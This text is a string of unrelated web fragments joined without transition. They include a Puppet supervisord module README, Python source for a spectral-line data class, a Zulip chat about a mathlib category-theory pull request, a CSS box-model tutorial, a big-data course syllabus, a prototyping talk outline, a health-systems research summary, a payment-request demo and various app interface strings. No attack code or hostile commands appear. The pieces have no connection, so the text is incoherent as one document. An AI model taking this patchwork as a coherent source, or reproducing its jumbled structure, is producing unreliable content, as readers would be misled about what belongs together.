The stahnma-epel module is listed in the metadata.json file as a dependency as well, since stankevich-python lists it as a dependency. A parameter for this module is provided to disable the use of epel for package installation should you be using yumrepo resources or Spacewalk package management instead. By default, use of the epel repository is enabled in order to allow for beaker acceptance testing to function correctly.
Beginning with supervisord
include supervisord
should be all that is needed to install,
configure, and start the supervisord service using the default parameters.
The version of supervisor at the time of initial authoring was 3.3.3. The default settings for supervisord where taken from the echo_supervisord_conf command.
Usage
Using the supervisord module without relying on EPEL to provide python packages
---
supervisord::manage_python_use_epel: false
Using the supervisord module for installation and configuration but not service management
class { 'supervisord':
manage_systemd_unit => false,
manage_service => false,
}
This allows for other modules to manage systemd services and unit files instead of the methods provided here.
Passing a hash to override one of the default INI settings in supervisord.conf using a class declaration
class { 'supervisord':
supervisord_ini_present => {
'include' => {
'files' => '/opt/supervisor/conf.d/*.conf'
}
},
}
This changes the directory where extra supervisord configuration files should be loaded from.
Passing a hash to override one of the default INI settings in supervisord.conf using hiera
---
supervisord::supervisord_ini_present:
'include':
'files': '/opt/supervisor/conf.d/*.conf'
Reference
Generated puppet strings documentation with examples is available from millerjl1701.github.io/millerjl1701-supervisord.
The puppet strings documentation is also included in the /docs folder.
Public Classes
-
supervisord: Main class which install and configures the supervisord service. Parameters may be passed via class declaration or hiera.
Private Classes
-
supervisord::config: Class for configuring the supervisord service.
-
supervisord::install: Class for setting up necessary directories and installing the supervisor package.
-
supervisord::python: Class for managing python dependencies, providing pip installation methods, and optional virtualenv support.
-
supervisord::service: Class for managing the supervisord service.
Limitations
This module is currently written for CentOS/RHEL 7 only. Other operating systems will be added as time permits (unless someone submits a PR first. :)
Currently, supervisor program and group configuration files in /etc/supervisor/conf.d are not managed with this module. These features will be added over time using similar ini_setting methods used for management of the /etc/supervisor/supervisord.conf file.
No validation or testing of the /etc/supervisor/supervisord.conf file is done other than validation of the data types passed to the class. Passing appropriate parameters and values for the supervisord service to use is left as an exercise for the reader.
Development
Please see the CONTRIBUTING document for information on how to get started developing code and submit a pull request for this module. While written in an opinionated fashion at the start, over time this can become less and less the case.
Contributors
To see who is involved with this module, see the GitHub list of contributors or the CONTRIBUTORS document.
Credits
Since this module is designed primarily for the management of Galaxy processes, the Galaxy Project Administration Training repository was used heavily to guide how supervisor is configured and used. Thank you to all the instructors past and present who have developed and published these materials.


Following SenzemHub software versions were found:
By pressing the Update button, SenzemHub will update its software with the new version, if available.


Snapshot Return to Contents
On the Snapshot tab page, you can search and download snapshots that are taken manually or taken upon alarm generation.
To search snapshots those are taken upon alarm generation:
1. Select Snapshots Taken upon Alarm Generation under Search Criteria.
2. Select a time option.
3. Click Search.
To download a snapshot, select the snapshot and click Download. By default, the snapshot is saved in the directory C:\IPCWeb\Pic\PuGrab. To change the save path, choose Settings > Local > Snapshot > Camera: snapshot save path.


Directory scanned: {directory}
Total BEM statements: {totalBem}
Total non-BEM statements: {totalNonBem}
Overall BEM Ratio: {totalBemRatio}%
Click a log entry to see the detailed report of the file.
| Filename |
Elements |
Blocks |
Modifiers |
CSS Statements |
BEM Ratio |


Congratulations! Your booking has been registered , An email has been sent to pilot, please wait for his response.
More flights My reservations


Curriculum Vitae
Professional Experience
Feburary 2011 - present
Ponga Tools, Inc.
Feburary 2010 - present
Turing
September 2009 - February 2010
PromoJam
February 2008 - May 2009
ELC Technologies
June 2006 - February 2008
Performance Systems Development
Publications & Grants
2009 - present
tjvanslyke.com
Blog related to software development technologies, practices, and methods, as well as personal musings and hobby projects.
2008
Behavior-Driven Development with JavaScript
Education
Skills


Source code for admit.util.LineData
""" .. _LineData-api:
**LineData** --- Extended spectral line metadata.
-------------------------------------------------
This module defines the LineData class.
"""
from admit.util.Line import Line
[docs]class LineData(Line):
""" Class for holding information on a specific spectral line, expanding on that of the Line
base class.
Parameters
----------
keyval : dict
Dictionary of keyword:value pairs.
Attributes
----------
name : str
Name of the molecule/atom.
Default: "".
uid : str
Unique identifier for the transition.
Default: "".
formula : str
The chemical formula.
Default: "".
transition : str
The transition/quantum number information.
Default: "".
energies : 2 element list
List of the lower and upper state energies of the transition.
Default: [0.0, 0.0].
energyunits : str
Units of the upper/lower state energy.
Default: K.
linestrength : float
The line strength of the transition.
Default: 0.0.
lsunits : str
The units of the line strength.
Default: "Debye^2".
frequency : float
The frequency of the transition.
Default: 0.0.
funits : str
The units of the frequency.
Default: "GHz".
blend : int
If this molecule is blended with others. Value of 0 means no blending
any other value gives the index of the blend.
Default: 0 (no blending).
mass : int
Rough mass of the molecule (H=1, C=12, etc.).
Default: 0.
plain : str
A human redable version of the chemical formula.
Default: "".
isocount : int
A count of the number of non-standard isotopes in the molecule. For example the standard
for carbon is 12C and 13C would be the non-standard isotope.
Default: 0.
chans : two element list
List of the starting and ending channels of the line.
Default: [0, 0].
freqs : two element list
List of the starting and ending frequencies of the line.
Default: [0.0, 0.0].
peakintensity : float
The peak intensity of the line in units from the input data.
Default: 0.0.
peakrms : float
The S/N of the peak of the line.
Default: 0.0.
fwhm : float
Full width half maximum of the line.
Default: 0.0.
noise : float
The rms noise of the spectrum.
Default: 0.0.
hfnum : int
Hyperfine identifier from the Tier1 database.
Default: 0 (no hyperfines).
peakoffset : float
The offset of the peak of the line from the vlsr.
Default: 0.0.
velocity : float
The velocity of the line (offset + vlsr).
Default: 0.0.
force : bool
If True then the user forced the identification via the force keyword in LineID, if
False then the id was generated by LineID.
Default: False.
"""
def __init__(self, **keyval):
self.mass = 0
self.plain = ""
self.isocount = 0
self.chans = [0, 0]
self.freqs = [0.0, 0.0]
self.peakintensity = 0.0
self.peakrms = 0.0
self.fwhm = 0.0
self.noise = 0.0
self.hfnum = 0
self.velocity = 0.0
self.peakoffset = 0.0
self.force = False
Line.__init__(self)
self.setkey(keyval)
def __str__(self):
return "%s %g %f" % (self.uid,self.energies[1],self.linestrength)
[docs] def setkey(self, name="", value=""):
""" Method to set the key-value pairs for the class. It treats the chans and freqs keywords
specially, making sure that the pairs of numbers are properly ordered. All other keys
and values are passed directly to the Line superclass setkey.
set keys, two styles are possible:
1. name = {key:val} e.g. **setkey({"a":1})**
2. name = "key", value = val e.g. **setkey("a", 1)**
This method checks the type of the keyword value, as it must
remain the same. Also new keywords cannot be added.
Parameters
----------
name : dictionary or string
Dictionary of keyword value pais to set or a string with the name
of a single key
value : any
The value to change the keyword to
Returns
-------
None
"""
if isinstance(name, dict):
for k, v in name.iteritems():
if k == "freqs" or k == "chans":
v.sort()
name[k] = v
elif name == "freqs" or name == "chans":
if len(value) != 2:
raise
value.sort()
Line.setkey(self,name, value)
[docs] def getstart(self):
""" Method to get the starting channel number.
Parameters
----------
None
Returns
-------
Int containing the starting channel number
"""
return self.chans[0]
[docs] def getend(self):
""" Method to get the ending channel number.
Parameters
----------
None
Returns
-------
Int containing the ending channel number
"""
return self.chans[1]
[docs] def setstart(self, chan):
""" Method to set the starting channel number.
Parameters
----------
chan : int
The starting channel number to set
Returns
-------
None
"""
self.chans[0] = chan
[docs] def setend(self, chan):
""" Method to set the ending channel number.
Parameters
----------
chan : int
The ending channel number to set
Returns
-------
None
"""
self.chans[1] = chan
[docs] def getfstart(self):
""" Method to get the starting frequency.
Parameters
----------
None
Returns
-------
Float containing the starting frequency
"""
return self.freqs[0]
[docs] def getfend(self):
""" Method to get the ending frequency.
Parameters
----------
None
Returns
-------
Float containing the ending frequency
"""
return self.freqs[1]
[docs] def setfstart(self, freq):
""" Method to set the starting frequency.
Parameters
----------
chan : int
The starting frequency to set
Returns
-------
None
"""
self.freqs[0] = freq
[docs] def setfend(self, freq):
""" Method to set the ending frequency.
Parameters
----------
chan : int
The ending frequency to set
Returns
-------
None
"""
self.freqs[1] = freq
[docs] def setchans(self, chans):
""" Method to set the channel range for the line.
Parameters
----------
chans : list
Two element list of the channel range for the line
Returns
-------
None
"""
self.chans[0] = min(chans)
self.chans[1] = max(chans)
[docs] def setfreqs(self, freqs):
""" Method to set the frequency range for the line.
Parameters
----------
chans : list
Two element list of the frequency range for the line
Returns
-------
None
"""
self.freqs[0] = min(freqs)
self.freqs[1] = max(freqs)
[docs] def getkey(self, key):
""" Method to get a data member by name
Parameters
----------
key : str
The name of the data member to return
Returns
-------
various, the contents of the requested item
"""
# treat a few specific ones specially
if key == "El":
return self.getlowerenergy()
if key == "Eu":
return self.getupperenergy()
if key == "startchan":
return self.getstart()
if key == "endchan":
return self.getend()
return Line.getkey(self, key)
[docs] def converttoline(self):
""" Method to convert the contents of the LineData object to a Line Object
Parameters
----------
None
Returns
-------
Line object populated with the relevant data from this LineData object
"""
line = Line()
for item in line.__dict__:
if item.startswith("_"):
continue
line.setkey(item,self.getkey(item))
return line


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/a.20PR.20for.20category.20theory.html ---
Dear all, (@Mario Carneiro and @Johannes Hölzl in particular!)
I'm finally about to create a mathlib branch for some category theory, and I would be happy to have some guidance about the scope of the initial PR.
Options:
1. Just the definitions of category, functor, natural transformation, and compositions of these.
2. Also some basic constructions, e.g. functor categories, and product categories.
3. Also definitions of basic notions such as products, equalizers, and limits.
4. Also an example, e.g. showing that the category of types has limits.
(I could add many more things, but I think that's probably more than enough for a single PR.)
Essentially it's a question about whether it's easier to have things in very small increments, or easier to have bigger blocks, so that design decisions can be validated by examples and applications.
Hey, just a heads up, but I am currently traveling and will soon be busy with the lean summer school in Hanoi for the next couple weeks, so my activity here will probably be spotty.
No worries! And thanks for letting us know. Will there be materials from the summer school available online?
Hi Scott, I think it would be good to start with a PR for 1. definitions. Then its easier to comment on it. For the summer school: https://hanoifabs.wordpress.com/ will be very ad-hoc, e.g. there are not a lot of slides.
@Johannes Hölzl And you are also flying there, right? So the next two weeks are bad timing for PR's in general?
Yes, I just landed in Hanoi. I guess the next 3 weeks are quiet busy. First Formal Abstract Summer School in Hanoi and then Hales60 in Pittsburgh.
Thanks, @Johannes Hölzl . The PR I put up at https://github.com/leanprover/mathlib/pull/152 is just the first few definitions.
@Mario Carneiro @Johannes Hölzl What _is_ happening over in Hanoi/in the fabstracts repo :laughing: ? https://github.com/formalabstracts/formalabstracts/pulls
Well, we try to teach people to use github, but some used the wrong formalabstracts fork. They should use Tom's personal formalabstract repo, not the project ones...
Teaching git (as setting up remotes) is harder than thought...
What is the status of this PR? I would love to have basic category theory available in mathlib!
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Eliza Dushku
Eliza Dushku was born in Boston, Massachusetts, to Judith (Rasmussen), a political science professor, and Philip R. Dushku, a teacher and administrator. Her father is Albanian and her mother is American (of Danish, Irish, English, and German descent). She was discovered at the end of a five-month search throughout the United States for the perfect ... See full bio »
Born: December 30, 1980 in Boston, Massachusetts, USA
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- Veronica Dawson
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Let's start off with one of my essentials: A visual! What you're looking at is called The Box Model, and it is a great CSS tool to design the layout of webpages. In essense, it allows you to control empty space on a website by making changes to any or all of three things: The margin, the border, and the padding.
These three components sit all snug around your content. Content is an umbrella word you can use to refer to any visual and interactive elements on you page. This could be text, images, videos and more!
Margin is our outer-most part of the box model. It is a transparent feature that dictates the amount of space between different content on your page. You can think of Margins as magnets with only a positive charge (positve repels). The bigger the margin number, the stronger your magnetic field becomes, pushing away other content surrounding it.
Border is our most snug and sandwiched part of the box model. Unlike Margin and Padding, you can choose whether it is a transparent, colored, or designed feature. Ooh-la-la! Have a look up at the top left of this page, for example. Do you see the the border around the "Home" image in the circle? That is a border I added in css.
We can see that I created a border of 5px. Because I have only written the value once, it applies it to all sides of the image. "Wait! But there aren't four sides, Stevie!" I hear you proclaim. I know, I know. But there's this nifty little feature I added on the line below: Border-radius. Border-radius with a high pixel value has rounded out the border, and my square image now sits inside. Gorgeous.
Padding is last step inside the box model, and is a transparent feature like the margin. This time, however, instead of reacting in relation to other independent elements on your page, it does so in relation to the content and the border. Text looking a little tight around the edges? No worries! Chuck in some padding.
All three of these features can be altered by changing individual values of each side in your css file, or you can group together sides in one line of code if you have matching values. For example:
As you can see, padding has four different values, and the order in which they are written dictates which side is affected. For this, we can think of a clock. First, second, third, fourth = top, right, bottom, left.
Want to have a further look at the box model? Easy done, right click on this page, or any webpage for that matter, and select "Inspect." You will notice in this new bizarre window that has popped up that there is a heading called 'Styles' selected, and if you scroll down a bit you will see the box model working in action. Roll your mouse over different elements of a page and keep an eye on how the box model changes values. Cool, huh?


Big data x business
Syllabus
A French version of the method is available -> here <- .
This content is designed by Clement Levallois, Associate Professor and Chaired Segeco professor in data valuation at emlyon business school. .
These modules provide to managers an understanding of technical concepts which are now at the center of the business world: APIs, data visualization, machine learning, network analysis, text mining, big data, data protection, etc.
Each of these topics is covered more in depth in different courses at emlyon business school: see full list here.
9 modules covering important topics in big data
Each module consists in lecture materials, a bibliography and a quiz. Some modules come with an accompanying video. Check the table of content below!
Group projects
A group project can be added to these lessons. It consists in creating a collective podcast. Each group of participants must identify an expert to interview and will record an episode.
-> Check the podcasts recorded by emlyon participants in 2017/2018.
Table of content
- Module 1. What is "data", "big data" and how is it relevant to business?
- Module 2. Data integration and APIs
- Essential readings
- The headache of data integration ( web page, slides, pdf, source)
- APIs and their business relevance ( web page, slides, pdf, source)
- Slideshare by John Musser on 20 business models for APIs.
- Module 3. CRMs and segmentation / clustering
- Module 4. Primers on network analysis and text mining
-
Essential readings on text mining
Essential readings on network analysis
- A primer on network analysis ( web page, slides, pdf, source)
- A primer on text mining ( web page, slides, pdf, source)
-
Essential readings on text mining
- Module 5. Data-driven value creation and business models based on data
- Module 6. IoT, personalization and localization
- a. The business relevance of IoT
- Essential readings on IoT
- Definitions of Internet of Things / connected & smart objects ( web, slides, pdf, source)
-
IoT in manufacturing and logistics by Julien Calviac (video).
IoT and security by Romain Willmann (video).
- Module 7. Data visualization
-
Essential readings
- Data visualization: a personal view point on its past, present and future ( web page, slides, pdf, source)
-
L'intérêt de la visualisation des données pour le business (webinar) par Clément Levallois (video).
-
Creating a dataviz for a business app: an interview with Jan Willem Tulp (video).
-
Essential readings
- Module 8. Data Protection and compliance
-
Essential readings on data compliance and ethics
Essential readings on algorithmic transparency
Essential readings on algorithmic bias and discrimination
Essential readings on GDPR
Essential readings on surveillance and profiling
- Privacy and the protection of personal data ( web page, slides, pdf, source)
- GDPR and data protection globally ( web page, slides, pdf, source)
-
Essential readings on data compliance and ethics
- Module 9. Data Science, Machine Learning and Artificial Intelligence
-
Introductory readings on data science
General introductions to AI
Essential readings on algorithmic transparency
Business applications of artificial intelligence
Essential readings on the future of data science and AI
- Machine learning / data science / Artificial Intelligence explained ( web page, slides, pdf, source)
-
Introductory readings on data science


Travel Scores
Get Emotion Logs
The Explanation of Colours
Anger
Contempt
Disgust
Fear
Happiness
Neutral
Sadness
Surprise


Tentative Outline
** Intro
Programming for 16 years
Worked in small, medium, and big companies
Computer Science / MIS Majors
MBA
UX interest along with programming for 15 years
Passionate about Ember.js (JS Framework)
** Current Problems with Requirements and Mockups
Picture mockups usually go desktop first (and only desktop)
Lacks conditions and interaction
Theory vs Implementations
Happy Path scenarios only
What?! Ifs
** Creating Tech Websites / Apps
Businesses
Prevent decisions that don't fit / make sense
Entrepreneur
Know the market and competition first
Has time and money vs get the solution out there
UX
Simple HTML, CSS, and jQuery goes far
Some of this can be reused/transitioned for real project
** Experience with High-Fidelity (HF)
Hackathon
Proof of Concepts at Work
Side Projects
Feedback from Developers
** Pain Points
https://image.slidesharecdn.com/anintroductiontobdd-140422005433-phpapp02/95/an-introduction-to-behaviordriven-development-bdd-7-638.jpg?cb=1398128146
Creating complete solutions multiple times
Users discrepancy of need/want
Users designing the end product
Internal requirements without complete vision
Lacking little material details on mockups
** Prototype
Simulation or Sample of a product
Test products
Find problems (usability)
Get feedback
Ongoing process loop
** Low-Fidelity (LF)
Relatively cheap and easy
Limited function
Limited interaction
Great for high-level concepts
** Low-Fidelity (LF) - Examples
User Flow
Wireframe
Sketches
** Low-Fidelity - Real Example
** High-Fidelity (HF)
UX design is an iteration
** High-Fidelity (HF) - Real Example
** Why High-Fidelity (HF)?
Realistic for users/customers/stakeholders
Forces you to think
Find problems earlier than real implementation
Keep focus on user experience up-front
** Advantages of HF
Page Hierarchy
User Workflows
Complex Components
Interactive
User / Stakeholder Benefits
Person won't get hung up on incorrect or repeated data
Less `squirrels` of what about this
'That's not the correct format of that data!'
'The data is repeating!'
'This button doesn't work!'
See Responsive design and show data layout issues
Some people need a visual to approve or find problems
If the stakeholder doesn't know this could guide them
When stakeholders don't know what they want
I've seen 3 iterations on projects before (server work included)
Introduces bugs, frustrates most workers
Can still be used with low-fidelity prototyping to start
** Disadvantages of HF with JS
More expensive than low-fidelity if prototype is thrown away
Requires specialized skills of UX design and/or programming
Requires experience on the programming and design side
Along with the frameworks and technologies chosen
Takes longer than Low-Fidelity
More expensive and/or time
Entrepreneurship requires quick turnaround
Simple tasks that add up
Troubleshooting
Routing
Data integration
CSS
Spending time on server work
Most likely requirements change
Both client and server have to adapt
Business logic
YMMV
Complexity of project / requirements
Tech experience
Designers
TODOs
Hurdles / Gotchas...
** My Hurdles of HF with JS
Choosing technologies to achieve high-fidelity
JS frameworks (Ember, React, Angular 2, etc)
CSS/UI frameworks (Bootstrap, MDL, SASS, LESS, etc)
Code formatting
Coding first before document/design mockup
Dev hat vs Design hat switching
Smoke and mirrors <==> real?
Data models and relationships
Data integrity
Wanting to do things the `right` way
Login / Authentication / Session
Hardcoding vs dynamic
Fake data vs real data
Data integrity between pages
Spending time on code comments
Unit Tests
Data Modeling/Relationships (if not hardcoding)
Code refactoring / Best practice
Code reviews / TODOs
** Advantages of using Ember.js for HF Prototyping
Automation of creation of files (CLI)
Lots of available addons
Creating a new project is easy
Local data setup that can be switched to a server (ember-cli-mirage)
`faker` creates random data and specific data rules (e.g. Length)
Fake data can be used for testing too
Auto Reload Browser with changes
Out-of-the-box technologies already incorporated and ready to start
Each project gets easier due to similarities and reuse
** Ember.js short video demo of using command line, page layout, and login
** Precautions of using JS Frameworks for HF prototyping
Designers won't be able to do the heavy lifting
Deliverable vs Research/Learning
Focusing on final details instead of prototype
Recommended experience:
JS framework basic in and outs
Programming experience
UI components
Javascript
CSS / HTML
** Function vs Design First?
With components and ui frameworks
CSS is easier to change with SASS, LESS, etc
Some design requirements is required
Quick sketch mockups
Navigation
Layout would be ideal on each page
Components - depends on the needs
** Google Ventures? (http://www.gv.com/sprint/)
Design Sprint
** patternlab.io?
** Storybook React? (https://storybooks.js.org/)
// Can cut out if no time
** Overall Process
One thing at a time
Goes in iterations
Plan, Implement, Measure, Learn
// Can cut this section out if no time
** Sx5 Rapid Prototyping for UX Design
Strategy
What is the big goal of the product?
What does the user want?
What does the business want?
Scope
Creating user stories (actions)
List objectives for the software
How does the product help the users?
How many clicks does it take to get to each essential function?
What type of user is interested in this application?
Structure
How do all the pieces of the site fit together and behave?
How does the user find what they are looking for in an intuitive way?
What are the flow of actions and interactions throughout the site?
Skeleton (Layout)
http://www.belatrixsf.com/wp-content/uploads/2014/09/grafico5.png
Surface
Branding
Colors
Fonts
Tables
Components
Buttons


{% extends "layout.html" %} {% block title %} About {% endblock %} {% block main %}
Explore the docs · Report Bug · Request Feature
Premise
Cyber bullying has risen exponentially over the years, especially among teens. And while the traumatic experiences of the victims are well-known, little has been done by social media giants to preemptively take action. On a large scale application, merely acting on the reported posts is not nearly sufficient. It is absolutely necessary to proactively participate in the prevention of cyber bullying.
About the Project
Mindhunters is a state-of-the-art LSTM-based NLP-algorithm on which this social media platform is wrapped. It provides sophisticated detection of texts that are violent, offensive, sexist, racist, discriminant or derogatory in nature. Scores are generated using Mindhunters, which affect the reputation of each user. The generated scores are used to provide alerts to the social media platform, which may take appropriate action against the post and/or user.
Credits
This project was created by Gaurav Agrawal, Shrid Pant and Tarun Dhankhar.
{% endblock %}


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You can trigger the "Enter-Key" with ALT-Enter. e.g. to send a chat-message
Instructions


Give my money.
For the purposes of the demo, imagine you have chosen an item and now
you need to check out. Please note that no payments will be taken, this
is just a front-end demo. If you would like to try entering card
details, you can use dummy data, for example the card number
4111 1111 1111 1111
.
Payment Request success. Demo complete. No payment has been taken.
The Payment Request API is unsupported or was cancelled or failed, so here we can proceed with our legacy web form (not implemented for this demo). No payment has been taken.


Improving efficacy of health systems through operations research and performance assessment is one of the important missions of the Institute. Keeping with this mission, the Institute has fostered research in areas such as (a) periodic analysis of hospital performance, (b) patient satisfaction surveys, (c) responsiveness surveys, and (d) national health accounts (e) institutional assessments (f) risk assessment.
Key Contributions
The Institute provided technical assistance for developing a M&E framework for the Andhra Pradesh Health Sector Reforms Project under a DfID contract[1].
A recent study commissioned by the Department of Planning, Government of Andhra Pradesh[2] has developed indicators of operational availability of doctors such as "Attending Day", 'Doctor Less Period", "Operationally Available Doctor Period" and "Realized Doctor Capacity".
The Institute has contributed to development of an evaluation framework for assessment of vital statistics systems as part of Health Metrics Network sponsored by the WHO, Geneva[3].
The Institute has developed health based targets for monitoring of water safety plans taking into account the disease burden in the community, exposures that contribute most to disease and the socioeconomic determinants of exposure to risks.[4]
The Institute is supporting Phase-III of the National AIDS Control Program of Government of India as part of its Technical Resource Group on Monitoring and Evaluation[5].The ToR include: development of indicators for monitoring; formulate a comprehensive M&E operational plan, finalize specifications of MIS; formulation of capacity building plans in M&E.
The Institute has recently completed an outcome evaluation of the Frontiers Prevention Programme, a Bill and Melinda Gates Foundation funded HIV prevention programme implemented by the International HIV/AIDS Alliance in 14 districts of Andhra Pradesh.[6] The study developed a framework for evaluating level of social capital among key populations actively involved in the interventions and wider key populations exposed to the interventions; and whether increased social capital lead to increasing empowerment for prevention, actual reduction in risk behaviours and changes in knowledge attitudes and behaviour.
The Institute has developed a prospective surveillance system of estimating Maternal Mortality Ratio. The proposed system will follow up about 25000 pregnancies through a set of randomly chosen sub centres from any given population for which MMR estimate is required.
The Institute has developed a framework for monitoring of water quality and other determinants of water borne diseases in reservoirs and urban slums under a public –private partnership and has been implementing the same in Hyderabad city since 2005[7].
Institute piloted studies for generating IMR and MMR estimates at the district and sub-district level. The indirect methods of estimation such as children ever born (CEB) technique for infant mortality rate (IMR), and Sisterhood Survival method for maternal mortality rate (MMR) were used. IMR estimates show significant variation in mortality in different districts and revenue divisions. One revenue division in Mahboobnagar district had IMR as high as 125/1000 live births, which is twice as high as the state average IMR of 66/1000 live births. The study was sponsored by the Commissioner Family Welfare, Government of AP[8].
The Institute has developed a performance analysis framework for the APVVP which administers about 150 first referral hospitals in AP consisting of Community, Area and District hospitals. The IHS was commissioned[9] by the APVVP to undertake the performance analysis of these hospitals on monthly basis. The Institute assisted the APVVP for about three years between 1998 and 2002. There after the APVVP is doing their performance analysis in-house. Similar work was carried out for the World Bank assisted Maharashtra Health Systems Development Project[10].
The Institute has developed a framework and methodology for assessing patient satisfaction to assess the quality of health care extended by the health institutions. The aim is to generate statistically accurate estimates of patient’s feed back for each hospital, so that inter hospital comparison is possible. It generates data for practical purposes such as planning, administration and evaluation of health care services. The Institute was commissioned[11] by the APVVP to conduct patient satisfaction surveys in APVVP hospitals at half yearly intervals between June 1999 and March 2002. These surveys provided useful feedback on functioning of different areas in the respective hospital and helpful insights about patients’ preference.
The IHS has developed structural standards for reproductive health services by nursing homes and private hospitals[12]. These standards were developed with help of local experts using a consensus development process. The standards give minimum equipment and staffing requirement for basic maternity services like normal delivery, caesarian section, and medical termination of pregnancy. developed in the context of the World Bank funded study on structure and dynamics of private health sector in AP[11].
[1] DFID Contract No. CNTR/MSAP/HSR/DSC/2007/2531, Dt. 28/05/07
[2] Department of Planning , GoAP sanction letter G.O Rt. No. 165 dated 4/3/2006
[3] Civil registration systems and vital statistics: successes and missed opportunities: Lancet, October 29, 2007DOI:10.1016/S0140 6736(07)61308-7
[4] WHO India allotment : SE IND PHE 400 XD 06 4, SE IND PHE 011 RB 06 (Sticker No. SE/07/117196 & SE/07/112566), dt: 16/01/2007
[5] Government of India : Order No.S.12021/03/2005/NACO(M&E) dated 6th February 2007.
[6] Outcome Evaluation of the Frontiers Prevention Programme : IHS RP 45/2007.
[7] Letter No. MD/HMWSSB/IHS/2004-05, Dt. 25/01/2005 Letter No. MD/HMWSSB/IHS/2005-06/299, Dt. 31/03/2006
[8] Commissioner Family Welfare, AP Rc.No.SP/DD/(Demo)/98-99 dated 6 Aug 1999.
[9] APVVP Proc. Rc.No.7552/WB(D)/98 dated 24 Aug 1999, 18 Dec. 1999, 6 Apr 2000, and 12 Apr 2001.
[10] MHSDP / Med.Wing / Revalidation of Hospital Activity / Pub.Open.Fin.Prop / 01, dated 6Nov. 2001.
[11] APVVP Proc. Rc.No.7552/WB(D)/98 dated 24 Aug 1999, 18 Dec. 1999, 6 Apr 2000, and 12 Apr 2001.
[12] An enquiry into the quality of reproductive health care provided in private hospitals and nursing homes and women's perception in Andhra Pradesh. Final Report. Hyderabad : IHS, 1998 Sep.
[13] Structure and dynamics of private health sector. Hyderabad , IHS, 2002.


TeamPlay
SE Project
Welcome to TeamPlay
The seamless web-app for playing synchronous videos from Youtube and Daily-Motion.
Join a Room!
Enter Name
Enter Room ID (Default 1)
Online Rooms
Player
YouTube
Daily Motion
Note:
Play /
Pause
Sync
Make me the host!
Change Video
Previous Video
Online_Users
Chat Box


--- layout: post title: advertising Storyboards date: '2017-10-29T11:30:35+01:00' categories: - Storyboards picture_url: https://film-Storyboards.tumblr.com/post/166915957620/advertising-Storyboards ---


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Land Grab
Create New Game
Hide Board
...
Throw Dice
Active Players
Refresh Players
Become Observer
Become Active
People Watching
Refresh Players
Become Observer
Become Active
the board will go here.
Cry Wolf
Try to Start Game?


Transposition CipherThe keyword should be a string of digits 1, 2, ..., n of length, n <= 9, that specifies the rearrangement of a block of text of length n. For example 53124 would rearrange hello to OLHEL. Type in a keyword, and a message, select encrypt or decrypt, and press Go. |
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Awesome Places in East Asia
-
Kiyomizu-dera Temple
tewiha_orenoyome/ Pixabay/ CC0 Public Domain
Kiyomizu-dera is a Buddhist temple in Kyoto, Japan. It was among the 20 finalists for the New7Wonders of the World. Its main hall has a large veranda with tall pillars. Beneath it is the Otowa waterfall and pond. The temple complex also includes several shrines.
-
Naejangsan National Park
sharonang/ Pixabay/ CC0 Public Domain
Naejangsan National Park was designated as the 8th national park of South Korea. It is home to a thousand plant and animal species. It is a popular destination for people who want to see beautiful red trees during the autumn season.
-
Tian Tan Buddha
Béria L. Rodríguez/ Wikipedia/ CC BY-SA 3.0
Tian Tan Buddha is a massive bronze statue of Buddha in Lantau Island, Hong Kong. It symbolizes the harmonious relationship between nature, man and faith. It is a major center of Buddhism and tourism in Hong Kong.
-
Kinkaku-ji
wake99/ Pixabay/ CC0 Public Domain
Kinkaku-ji is a three-story Buddhist temple in Kyoto, Japan. It means "Temple of the Golden Pavilion" in Japanese for its gold-like coating. This World Heritage Site is one of the country's most popular tourist attractions.


Frequently Asked Questions
How do I get the the Unplugged retreat?
Probably by driving or flying or renting a scooter! Just get there
What kind of team is right for the Unplugged retreat?
Well it would help if you were all humans, although we actually like dogs and kangaroos better!
What size teams can you accommodate?
Well anything over 10 we charge an additional rate of $1,000,000 per hour, so we prefer anything over 10!
Is there really no wifi available?
Really??? you can't go for even a few days without wifi? Look at the homepage your answer is there.


November 5, 1955
Björk first came to prominence as one of the lead vocalists of the avant pop Icelandic sextet the Sugarcubes, but when...


Once generated, the sample project will be a standard Maven 3, Java Web project with JPA 2.0, EJB 3.1, CDI 1.0, JSF 2.0 with complete JAX-RS endpoints for all data Entities. It will also provide views to Create, Read, Update, and Delete records.
But that is not all! You can use Forge on your new or existing projects to continue to enhance any application.
The application this project produces is designed to be run on Red Hat JBoss Enterprise Application Platform 6.1 or later.
All you need to build this project is Java 6.0 (Java SDK 1.6) or later and JBoss Developer Studio (JDBS) 7 or greater.
If you have not yet done so, you must Configure Maven for JBoss Developer Studio before testing the quickstarts.
Forge is available in JBoss Developer Studio. To run this example, we suggest you use JDBS 7 or greater.
Forge Console
Window. To open it, navigate to menu item Window -> Show View -> Other. Locate Forge -> Forge Console and click OK. In the Forge Console Window, navigate to the root directory of this quickstart.
$ cd QUICKSTART_HOME/forge-from-scratch/
Notice there is a file in this directory named generate.fsh
. Run this file from the Forge console using the run
command:
$ run generate.fsh
You are prompted to enter the name of the new project. Type a name for the project, for example: example-application
? [named=The name of the new project (of type java.lang.String)]: example-application
You are prompted to accept QUICKSTART_HOME/forge-from-scratch/example-application
as the project directory. Choose Y
:
? Use [/home/username/QUICKSTART_HOME/forge-from-scratch/example-application] as project directory? [Y/n] Y
At this point, Forge creates the new project and builds it.
***SUCCESS***
User Operation is waiting for "Importing Forge project" to complete.
.[INFO] BUILD SUCCESS
message near the end of the console output.This quickstart created a native Java EE 6 application.
QUICKSTART_HOME/forge-from-scratch/
folder. You see a folder with the same name as the project name you entered in the prompt above. Project Explorer
view in JDBS. For a full description of what was generated by running this script and details on the structure of the application, see the Forge UI Scaffolding Guide
Run As
–> Run on Server
. If you have more than one server, choose the JBoss EAP 6.3 Runtime server.Upon successful deployment, a Welcome to Forge Window opens with the application running at the following URL: http://localhost:8080/PROJECT_NAME/, where PROJECT_NAME is the name you chose for your project. For example:
The application Window displays the following messages
Welcome to Forge
Your application is running.
A list of entities is displayed on the left of the screen. When you click on an entity, you are provided with a form that allows you to:
The running application also provides links to find more information about the Forge.
When you are ready to undeploy the application from JBoss EAP:
Servers
window.Remove
. OK
when asked if you are sure you want to remove resource from the server.Open generate.fsh
and take a look inside! There is not much magic happening here. All of the commands used to generate this project are clearly listed just as if they were typed by your own hands.
Play around with creating more entities, relationships, UI, and generating JAX-RS endpoints,all with just a few simple commands.
Forge has a rich plugin ecosystem. Want to deploy your application to the Cloud? Use the Forge Openshift plugin: http://github.com/forge/plugin-openshift/
To see a full list of avaialable plugins, make sure that you have an active internet connection and type:
forge> forge find-plugin *


